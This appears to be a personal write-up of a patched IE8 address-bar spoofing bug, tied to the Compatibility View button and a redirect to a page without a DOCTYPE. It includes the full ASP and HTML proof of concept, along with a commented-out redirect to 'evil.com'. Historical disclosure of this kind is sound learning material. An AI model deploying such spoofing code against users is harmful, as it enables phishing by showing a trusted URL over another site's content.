IE8 introduced a “Compatibility View” button in the address bar. I found that when this button was clicked on a page that then performed a redirect to a page without a Content-Type header or DOCTYPE, the address bar would sometimes continue displaying the original URL rather than the redirected destination. This created a spoofing condition where users could be shown content from one domain while the address bar showed a completely different, trusted URL.

<%
	reloaded = Request.Cookies("reloaded")
	If reloaded = "Yes" Then
		Response.Cookies("reloaded") = "No"
		Response.Redirect("http://www.cracking.com.ar/redirectedurl.html")
'		Response.Redirect("http://www.evil.com/")
	Else
		'Write Cookie so next reload will execute the redirect
		Response.Cookies("reloaded") = "Yes"
		Response.Write("<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"">")
		Response.Write("The current URL is:<b><scr" & "ipt>document.write(location.href)</scr" & "ipt></b><br /><br />")
		Response.Write("Please, press the compatibility view button located at the RIGHT of the AddressBar.")
	End If
	Response.End()
%>
<!-- redirectedurl.html: the destination with spoofed address bar -->
<html>
<body bgcolor="#eeeeee">
<font face="Arial" size="2">
My current location is: <font color="blue"><script>document.write(location.href);</script></font> but the Address Bar <i>maybe</i> is still pointing to the old URL.

<br /><br />

This happens only when the redirected page (this one) does not have a Content Type or a DocType. 

<br /><br />

<b>It works 70% of the times</b>. If it didn't, try again by cleaning cache/cookies, and loading the previous asp again.
</font>
</body>
</html>

The sequence: visit the ASP page (first visit sets a cookie), click the Compatibility View button — this triggers a reload — the ASP sees the cookie and issues a 302 Redirect to the destination page. If the destination page lacked a Content-Type or DOCTYPE, IE8’s Compatibility View mode would render it but leave the address bar pointing to the ASP’s URL. The effect was reliable about 70% of the time, and required clearing cache and cookies to reset between attempts.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.